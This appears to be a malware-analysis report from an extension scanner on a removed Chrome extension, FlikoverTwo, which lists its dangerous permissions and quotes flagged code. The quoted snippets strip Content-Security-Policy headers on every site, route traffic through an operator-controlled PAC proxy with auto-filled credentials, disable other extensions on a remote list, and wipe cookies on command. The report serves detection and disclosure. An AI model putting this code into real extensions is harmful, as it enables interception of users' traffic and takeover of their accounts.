FlikoverTwo

ID: pjpfbdclpidnhjobdehacbejkfcfodan

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
3.0.5
Size
0.01 MB
Rating
3.8/5
Reviews
4
Users
10,000
Type
Extension
Updated
Aug 6, 2024
Category
Productivity Developer
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
SeoToolsView Profile
Country
US
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Address
5760 E Otero Ave Centennial, CO 80112 US
Total Extensions
3
Active
0
Obsolete
3
Listed
0
Unlisted
3
Total Users
20,523

All Flikover registered users must install our extension. It provides all the premium services offer by Flikover

Simple Search engine optimization statistics tool Introducing SEO serp analysis - the modern and simple SEO statistics tool built for the future. The tool will help you in your digital marketing journey. It will provide you access to multiple seo related website with auto login & logout feature now updated to manifest v3.

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestAuthProvider
Permission
Critical
This permission allows the extension to handle authentication requests and modify authentication headers. Rated Critical because it can intercept login credentials, session tokens, and modify authentication flows to compromise accounts.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
declarativeNetRequestWithHostAccess
Permission
Critical
This permission combines network request modification with host permissions. Rated Critical because it can modify requests for specific domains, potentially targeting sensitive websites with precise attack rules.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
management
Permission
Medium
This permission manages other installed extensions. Rated Medium because it can enable/disable other extensions and modify their settings, with changes being visible to users.
declarativeNetRequestFeedback
Permission
Medium
This permission provides network request modification logs. Rated Medium because it can monitor network request changes and debug traffic modifications.

On install, the extension overwrites the Content-Security-Policy response header on every resource type (main_frame, sub_frame, script, XHR, etc.) with '* unsafe-inline', globally neutralising CSP protections across all websites the user visits. This eliminates the primary browser defence against XSS and inline script injection, making every site the user browses trivially exploitable by any other attacker who can inject content.

service.js (Line 109)
chrome.runtime.onInstalled.addListener((() => {  chrome.declarativeNetRequest.updateDynamicRules({      removeRuleIds: [9966]    })    .then((() => chrome.declarativeNetRequest.updateDynamicRules({      addRules: [{        id: 9966,        priority: 1,        action: {          type: "modifyHeaders",          responseHeaders: [{            header: "Content-Security-Policy",            operation: "set",            value: "* 'unsafe-inline'"          }]        },        condition: {          resourceTypes: ["main_frame", "sub_frame", "object", "script", "xmlhttprequest", "other",            "csp_report"          ]        }      }]    })))    .catch((() => {}))}));

The extension contacts a remote operator-controlled endpoint every 60 seconds; when the server returns '1', it fetches a second URL for proxy configuration (IP, username, password, target host lists) and silently redirects all browser traffic through that proxy via a dynamically-built PAC script. The proxy credentials are stored in local storage and supplied automatically for every auth challenge. This gives the operator full visibility into all HTTP/HTTPS traffic and the ability to man-in-the-middle any site.

service.js (Line 7)
fetch(site + '/assets/access.php')  .then(response => {    return response.text();  })  .then(state => {    if (state == '1') {      if (proxyConnect === false) {        fetch(proxy_url)          .then(auth => {            return auth.json();          })          .then(proxy_info => {            proxyConnect = true;            // ... PAC script built from proxy_info.urls / proxy_info.whitelist ...            chrome.storage.local.set({              proxy_user: proxy_info.username,              proxy_pass: proxy_info.password            });            var pac_script = `              function FindProxyForURL(url, host) {                if(${whitelist_hosts}) return 'DIRECT';                else if (${hosts}) return 'PROXY ${proxy_info.ip}';                else return 'DIRECT';              }`;            chrome.proxy.settings.set({              value: {                mode: "pac_script",                pacScript: {                  data: pac_script                }              },              scope: 'regular'            }, function() {});          });      }    }  });

The extension registers a blocking webRequest.onAuthRequired listener across all URLs that silently supplies stored proxy credentials for every proxy authentication challenge. Combined with the proxy hijacking above this ensures seamless, invisible traffic interception with no user prompt, even for HTTPS resources, since the PAC script routes the CONNECT tunnel through the operator's proxy.

service.js (Line 61)
chrome.webRequest.onAuthRequired.addListener(function(details, callbackFn) {  if (details.isProxy == true) {    chrome.storage.local.get(null, function(result) {      callbackFn({        authCredentials: {          username: result.proxy_user,          password: result.proxy_pass        }      });    });  }}, {  urls: ["<all_urls>"]}, ['asyncBlocking']);

At startup the extension fetches a remotely-controlled blocklist of extension IDs and forcibly disables every listed extension. It also registers a persistent onEnabled listener so that if the user tries to re-enable a blocked extension, it is immediately disabled again. The fake alert UI claims the targeted extension is a security threat. This gives the operator the ability to remotely disable any competing or security-relevant Chrome extension on users' machines.

service.js (Line 216)
fetch(site + '/assets/exblocker.json?ver=' + Math.random())  .then(res => {    return res.json();  })  .then(res => {    let ex_id = res;    ex_id.forEach(function(ex_id) {      chrome.management.get(ex_id, function(e) {          if (!chrome.runtime.lastError && ex_id == e.id && e.enabled != false) {            chrome.management.setEnabled(ex_id, false), alert({              html: '...' + e.name + ' Detected...'            });          }        }),        chrome.management.onEnabled.addListener(function(e) {          if (!chrome.runtime.lastError && ex_id == e.id && e.enabled != false) {            chrome.management.setEnabled(ex_id, false), alert({              html: '...' + e.name + ' Detected...'            });          }        })    });  })  .catch(() => {});

The extension fetches a remotely-controlled domain list and deletes all cookies for those domains, then forcibly closes any tabs visiting those domains. This is triggered both when the user clicks the extension icon and when a companion extension named 'Flikover' is disabled. Remote-controlled cookie wiping can log users out of banking, email, and other sensitive sites on demand, and the tab-closing prevents users from noticing the session destruction.

service.js (Line 134)
function clear_cookies() {  fetch(site + '/assets/clear.json?ver=' + Math.random())    .then(res => {      return res.json();    })    .then(res => {      Object.entries(res)        .forEach(([key, value]) => {          chrome.cookies.getAll({            domain: key          }, function(cookies) {            for (var i = 0; i < cookies.length; i++) {              chrome.cookies.remove({                url: value + cookies[i].path,                name: cookies[i].name              });            }          });          chrome.tabs.query({}, function(tabs) {            for (var i = 0; i < tabs.length; i++) {              if (tabs[i].url.includes(key)) {                chrome.tabs.remove(tabs[i].id);              }            }          });        });    })    .catch(() => {});}chrome.management.onDisabled.addListener(function(info) {  if (info.name == "Flikover") {    clear_cookies();  }});chrome.action.onClicked.addListener(function() {  clear_cookies();});

A content script injected into every page (<all_urls>, all_frames) silently reads the value of an 'af_referrer' meta tag and forwards it to the background service worker as a proxy configuration URL. This allows the operator's own web pages to dynamically reconfigure the browser's global proxy settings simply by embedding an arbitrary URL in a meta tag — an effective remote command channel hidden inside normal page markup.

a.js (Line 8)
ready(function() {  const proxy_data_meta = document.querySelector("meta[property='af_referrer']");  if (proxy_data_meta) {    chrome.runtime.sendMessage({      type: "IMPORT_PROXY",      url: proxy_data_meta.content    });  }});

The PAC script is constructed by string-interpolating server-controlled values (proxy_info.urls, proxy_info.whitelist, proxy_info.ip) directly into JavaScript source code without any sanitisation. A compromised or malicious operator server could inject arbitrary JavaScript into the PAC function, which executes in a privileged browser context and determines routing for every network request.

service.js (Line 42)
var pac_script = `  function FindProxyForURL(url, host) {    if(${whitelist_hosts})      return 'DIRECT';    else if (${hosts})       return 'PROXY ${proxy_info.ip}';    else       return 'DIRECT';  }`;chrome.proxy.settings.set({  value: {    mode: "pac_script",    pacScript: {      data: pac_script    }  },  scope: 'regular'}, function() {});

By severity

Critical4
High3
Medium0
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
3.0.57

Files with findings

2 distinct paths — top paths by unique finding count:

  • service.js6
  • a.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
service.js (line 109)On install, the extension overwrites the Content-Security-Policy response header on every resource type (main_frame, sub_frame, script, XHR, etc.) with '* unsafe-inline', globally neutralising CSP protections across a…
2Network Interception
critical
service.js (line 7)The extension contacts a remote operator-controlled endpoint every 60 seconds; when the server returns '1', it fetches a second URL for proxy configuration (IP, username, password, target host lists) and silently redi…
3Network Interception
critical
service.js (line 61)The extension registers a blocking webRequest.onAuthRequired listener across all URLs that silently supplies stored proxy credentials for every proxy authentication challenge. Combined with the proxy hijacking above t…
4Privilege Escalation
critical
service.js (line 216)At startup the extension fetches a remotely-controlled blocklist of extension IDs and forcibly disables every listed extension. It also registers a persistent onEnabled listener so that if the user tries to re-enable …
5Network Interception
high
a.js (line 8)A content script injected into every page (<all_urls>, all_frames) silently reads the value of an 'af_referrer' meta tag and forwards it to the background service worker as a proxy configuration URL. This allows the o…
6Remote Code Loading
high
service.js (line 42)The PAC script is constructed by string-interpolating server-controlled values (proxy_info.urls, proxy_info.whitelist, proxy_info.ip) directly into JavaScript source code without any sanitisation. A compromised or mal…
7Unauthorized Data Collection
high
service.js (line 134)The extension fetches a remotely-controlled domain list and deletes all cookies for those domains, then forcibly closes any tabs visiting those domains. This is triggered both when the user clicks the extension icon a…
URLs
3
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
flikover.com-https://flikover.com/
flikover.com/pluginhttps://flikover.com/plugin

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
3.0.2
Latest
0.03 MB
Malicious
3.0.5
0.01 MB
Malicious
7
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.